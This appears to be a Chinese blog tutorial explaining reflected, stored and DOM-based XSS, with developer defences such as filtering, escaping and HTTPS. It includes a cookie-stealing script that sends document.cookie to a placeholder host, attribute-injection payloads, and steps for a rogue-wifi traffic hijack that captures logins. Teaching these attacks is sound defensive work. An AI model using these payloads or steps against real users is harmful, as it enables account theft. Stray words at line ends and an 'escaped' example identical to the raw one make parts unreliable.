XSS(cross-site scripting跨域腳本攻擊)攻擊是最多見的Web攻擊,其重點是「跨域」和「客戶端執行」。有人將XSS攻擊分爲三種,分別是:javascript
1. Reflected XSS(基於反射的XSS攻擊)html
2. Stored XSS(基於存儲的XSS攻擊)前端
3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)java
Reflected XSS數據庫
基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。後端
例子:跨域
1. 作個假設,當亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。瀏覽器
2. 在搜索框搜索內容,填入「<script>alert('handsome boy')</script>」, 點擊搜索。安全
3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。服務器
4. 進而能夠構造獲取用戶cookies的地址,經過QQ羣或者垃圾郵件,來讓其餘人點擊這個地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
PS:這個地址固然是沒效的,只是舉例子而已。
結論:
若是隻是一、二、3步作成功,那也只是本身折騰本身而已,若是第4步能作成功,纔是個像樣的XSS攻擊。
開發安全措施:
1. 前端在顯示服務端數據時候,不只是標籤內容須要過濾、轉義,就連屬性值也均可能須要。
2. 後端接收請求時,驗證請求是否爲攻擊請求,攻擊則屏蔽。
例如:
標籤:
<span><script>alert('handsome boy')</script></span>
轉義
<span><script>alert('handsome boy')</script></span>
屬性:
若是一個input的value屬性值是
琅琊榜" onclick="javascript:alert('handsome boy')
就可能出現
<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">
點擊input致使攻擊腳本被執行,解決方式能夠對script或者雙引號進行過濾。
Stored XSS
基於存儲的XSS攻擊,是經過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每一個訪問該帖子/文章的人就會觸發執行。
例子:
1. 發一篇文章,裏面包含了惡意腳本
今每天氣不錯啊!<script>alert('handsome boy')</script>
2. 後端沒有對文章進行過濾,直接保存文章內容到數據庫。
3. 當其餘看這篇文章的時候,包含的惡意腳本就會執行。
PS:由於大部分文章是保存整個HTML內容的,前端顯示時候也不作過濾,就很可能出現這種狀況。
結論:
後端儘量對提交數據作過濾,在場景需求而不過濾的狀況下,前端就須要作些處理了。
開發安全措施:
1. 首要是服務端要進行過濾,由於前端的校驗能夠被繞過。
2. 當服務端不校驗時候,前端要以各類方式過濾裏面可能的惡意腳本,例如script標籤,將特殊字符轉換成HTML編碼。
DOM-based or local XSS
基於DOM或本地的XSS攻擊。通常是提供一個免費的wifi,可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須通過服務器返回就是基於本地的XSS攻擊。
例子1:
1. 提供一個免費的wifi。
1. 開啓一個特殊的DNS服務,將全部域名都解析到咱們的電腦上,並把Wifi的DHCP-DNS設置爲咱們的電腦IP。
2. 以後連上wifi的用戶打開任何網站,請求都將被咱們截取到。咱們根據http頭中的host字段來轉發到真正服務器上。
3. 收到服務器返回的數據以後,咱們就能夠實現網頁腳本的注入,並返回給用戶。
4. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的經常使用腳本庫。
PS:例子和圖片來自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我寫的,請注意!
這個其實就是wifi流量劫持,中間人能夠看到用戶的每個請求,能夠在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,能夠返回釣魚頁面。
例子2:
1. 仍是提供一個免費wifi
2. 在咱們電腦上進行抓包
3. 分析數據,能夠獲取用戶的微信朋友圈、郵箱、社交網站賬號數據(HTTP)等。
PS:這個是個人測試,在51job頁面登陸時進行抓包,能夠獲取賬號密碼。
結論:
這攻擊其實跟網站自己沒有什麼關係,只是數據被中間人獲取了而已,而因爲HTTP是明文傳輸的,因此是很可能被竊取的。
開發安全措施:
1. 使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的,HTTPS會在請求數據以前進行一次握手,使得客戶端與服務端都有一個私鑰,服務端用這個私鑰加密,客戶端用這個私鑰解密,這樣即便數據被人截取了,也是加密後的數據。
總結
XSS攻擊的特色就是:盡一切辦法在目標網站上執行非目標網站上原有的腳本(某篇文章說的)。本地的XSS攻擊的示例2其實不算XSS攻擊,只是簡單流量劫持。前兩種XSS攻擊是咱們開發時候要注意的,而流量劫持的則可使用HTTPS提升安全性,。
本文爲原創文章,轉載請保留原出處,方便溯源,若有錯誤地方,謝謝指正。